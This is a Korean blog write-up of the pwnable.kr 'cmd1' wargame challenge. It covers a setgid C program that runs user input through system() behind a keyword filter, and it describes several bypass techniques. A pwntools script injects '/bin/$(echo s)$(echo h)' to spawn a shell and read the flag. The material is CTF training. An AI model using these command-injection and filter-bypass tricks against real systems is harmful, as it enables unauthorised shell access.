power-girl0-0

[pwnable] cmd1 풀이 본문

War game/pwnable.kr

[pwnable] cmd1 풀이

power-girl0-0 2022. 2. 20. 19:27
728x90

 

안녕하세욥 ^o^

 


1. 문제

cmd1에 대한 c코드와 바이너리가 주어지고, flag파일이 존재한다.

아래는 cmd1의 c코드이다.

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "flag")!=0;
	r += strstr(cmd, "sh")!=0;
	r += strstr(cmd, "tmp")!=0;
	return r;
}
int main(int argc, char* argv[], char** envp){
	putenv("PATH=/thankyouverymuch");
	if(filter(argv[1])) return 0;
	system( argv[1] );
	return 0;
}

 

2. 풀이

코드를 확인해보면, 아래와 같은 조건을 확인할 수 있다.

  ① 입력 값이 flag, sh, tmp은 사용하지 못하게 필터링하고 있다.
  ② 입력 값을 system함수에 넣어서 실행되고 있는 것을 확인할 수 있다.

 

즉, 우리는 입력값에 시스템 명령어를 넣어서 flag를 확인하는 문제인 것 같다.

단 필터링을 우회해서 말이다!

 

cmd1 바이너리 파일의 권한을 살펴보면, setgid의 권한이 존재하는 것을 알 수 있다.

여기까지 확인이 되었다면, 어떻게 풀어야할지 감을 잡을 수 있다.

sh를 우회해서 shell을 획득하거나, flag를 우회해서 flag파일을 읽으면 된다는 판단이 나온다.

우회하는 방법은 "3.flag획득"을 확인해보기 바란다.

 

3. flag 획득

① 방식1

echo 방식을 통해 s와 h를 따로 출력해서, sh를 만들어주는 방식이다.

 

② 방식2

?h는 두글자의 문자 중, 두번째 글자가 h인 것을 출력하라는 의미이다. 

즉, sh가 추출되어 /bin/sh가 실행되는 것이다.

 

③ 방식3

방식2와 같은 방법으로, flag파일을 바로 확인한다.

 

④ 방식4 

/bin/sh를 base64방식으로 바꾼 뒤, 입력값으로 넣어줄 때 다시 base64 디코딩을 진행해준다. 

 

⑤ 방식5

[e-g]는 정규표현식이므로, e와 g사이의 f가 출력된다.

 

⑥ 방식 6

$1은 아무 의미도 없기 때문에, 가능하다.

 

4. pwntool을 이용하여, flag 획득

  • Code
    from pwn import *
    
    p = ssh("cmd1","pwnable.kr",port=2222,password="guest")
    file = b'./cmd1'
    arg = '/bin/$(echo s)$(echo h)'
    
    p1 = p.process([file, arg])
    p1.send("/bin/cat flag")
    p1.interactive()​
  • 실행결과

다양한 방식을 알고자, 여러 블로그를 참고하여 정리하였습니다.

 

안녕히계세욥 ~ ^3^

 

728x90

'War game > pwnable.kr' 카테고리의 다른 글

[pwnable] coin1 풀이  (0) 2022.03.11
[pwnable] cmd2 풀이  (0) 2022.02.21
[pwnable] mistake 풀이  (0) 2022.02.16
[pwnable] random 풀이  (0) 2022.02.13
[pwnable] flag 풀이  (0) 2022.02.12
Comments